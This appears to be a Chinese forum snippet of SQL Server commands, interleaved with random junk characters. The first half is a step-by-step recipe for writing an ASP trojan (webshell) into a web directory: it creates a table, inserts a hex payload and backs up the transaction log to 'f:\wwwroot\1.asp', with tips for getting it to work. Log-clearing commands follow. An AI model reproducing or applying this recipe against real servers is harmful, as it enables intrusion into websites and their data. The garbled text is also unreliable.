select * from master.dbo.sysdatabases 列出所有列的记录
4 X0 f2 N4 _. D/ n H : ]% W0 W" m( v) b
select name from master.dbo.sysdatabases 仅列出name列的记录
+ d3 v# I3 `( L, u. }
2 l5 T7 w; a0 ]/ `注意:可以利用log和数据库备份两上都行,log备份不成功用数据库备份, x7 S6 y' `; E' b
# Z: w* g8 T+ o
alter database 数据库名 set RECOVERY FULL--2 T. R" \0 N) [3 {
4 ]) @- x0 ^8 w$ D. T" {2 p! b+ Ncreate table cmd (a image)-- \**cmd是创建的临时表
1 X. {* t4 F5 \7 @# g! F
- \! p7 }" s+ x& X0 y* h& U; `& Vbackup log 数据库名 to disk = 'f:\wwwroot\1.asp' with init--
9 I4 h+ }$ X6 B% O( d8 f% O6 Z! r( s# C
insert into cmd(a) values (0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)--
# ]9 R- k- F+ H# }4 p6 H: ^, ^+ v6 C# z
//木马存放路径(转换16进制0x130a0d0a替换原来0x最后添加0d0a要多加几个)1 @8 P8 n6 T# B6 T! ?% n4 L6 L
. h4 _8 T; c5 T& g
backup log 数据库名 to disk = 'f:\wwwroot\1.asp'-- (要备份的目录)+ R( U! O7 `( P; f5 i4 }! L2 U
n K2 y% O! G/ v$ a1 y. Gdrop table cmd--
9 y' k) I4 g( |4 `/ F
* S4 h v9 O# h/ I( E. ]1 Z+ J/ q6 n5 p0 }" c; R- m9 |
f:\
- ~* k- p2 G' v' X" o; g7 G- P, u9 _( M+ a16进制转换(0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a); V' `5 N9 d, \5 B
" H3 ]2 ~! N* E! _最好多加几个回车0d0a,要不会出错哈
+ B0 w7 ?1 Z5 w4 J5 w' F
* x/ Q$ |5 |2 T6 j0 A& L0 `6 |3 C' ]: z
SQL Server日志清空方法 0 w( w7 ~% d* T& B/ Z
& F2 B! f( j( A在查询分析器中顺序执行以下三步,其中 databasename 为你的数据库文件名 . M6 h7 g: d5 l! R) Z
1.清空日志:DUMP TRANSACTION databasename WITH NO_LOG
/ O0 Q5 n' w; w+ I3 S
$ Z1 I8 e+ Q* P+ e8 {! t: z6 t: F' x8 \2.截断事务日志:BACKUP LOG databasename WITH NO_LOG 4 c7 D5 N, [( g9 K- J
9 E' F1 @0 P- _/ u. j2 ~3.收缩数据库:DBCC SHRINKDATABASE(databasename)
: _0 i' Q1 ~' [% U |